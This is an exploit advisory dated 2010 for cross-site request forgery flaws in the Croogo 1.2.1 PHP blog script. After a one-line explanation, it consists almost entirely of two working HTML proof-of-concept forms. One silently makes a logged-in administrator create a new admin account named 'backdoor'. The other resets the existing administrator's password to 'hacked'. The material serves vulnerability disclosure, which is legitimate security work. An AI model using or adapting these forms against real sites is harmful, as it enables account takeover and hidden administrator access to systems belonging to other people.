[#-----------------------------------------------------------------------------------------------#] [#] Title: Croogo 1.2.1 Multiple CSRF Vulnerabilities [#] Author: Milos Zivanovic [#] Email: milosz.security[at]gmail[dot]com [#] Date: 07. February 2010. [#-----------------------------------------------------------------------------------------------#] [#] Application: Croogo [#] Version: 1.2.1 [#] Platform: PHP [#] Site: http://www.croogo.org [#] Download: http://croogo.googlecode.com/files/croogo-1.2.1.zip [#] Vulnerability: Cross Site Request Forgery [#-----------------------------------------------------------------------------------------------#] Croogo blog script lacks of cross site request forgery protection, allowing us to make exploit to add new admin user or change existing admin password. [#]Content |--CSRF |--Add Administrator |--Change Administrators Password [*] Add Administrator [EXPLOIT------------------------------------------------------------------------------------------] <form action="/localhost/cro/admin/users/add" method="post"> <input type="hidden" name="_method" value="POST"/> <input type="hidden" name="data[User][role_id]" value="1"/> <input type="hidden" name="data[User][username]" value="backdoor"/> <input type="hidden" name="data[User][password]" value="hacked"/> <input type="hidden" name="data[User][name]" value="thisismyname"/> <input type="hidden" name="data[User][email]" value="my@mail.com"/> <input type="hidden" name="data[User][website]" value="website"/> <input type="hidden" name="data[User][status]" value="1"/> <input type="submit" name="submit" value="Submit"/> </form> [EXPLOIT------------------------------------------------------------------------------------------] [*] Change Administrators Password In this exploit 1 is the ID of the admin user that we want to edit. [EXPLOIT------------------------------------------------------------------------------------------] <form action="/localhost/cro/admin/users/reset_password/1" method="post"> <input type="hidden" name="_method" value="PUT"/> <input type="hidden" name="data[User][id]" value="1"/> <input type="hidden" name="data[User][username]" value="admin"/> <input type="hidden" name="data[User][password]" value="hacked"/> <input type="submit" name="submit" value="Submit"/> </form> [EXPLOIT------------------------------------------------------------------------------------------] [#]EOF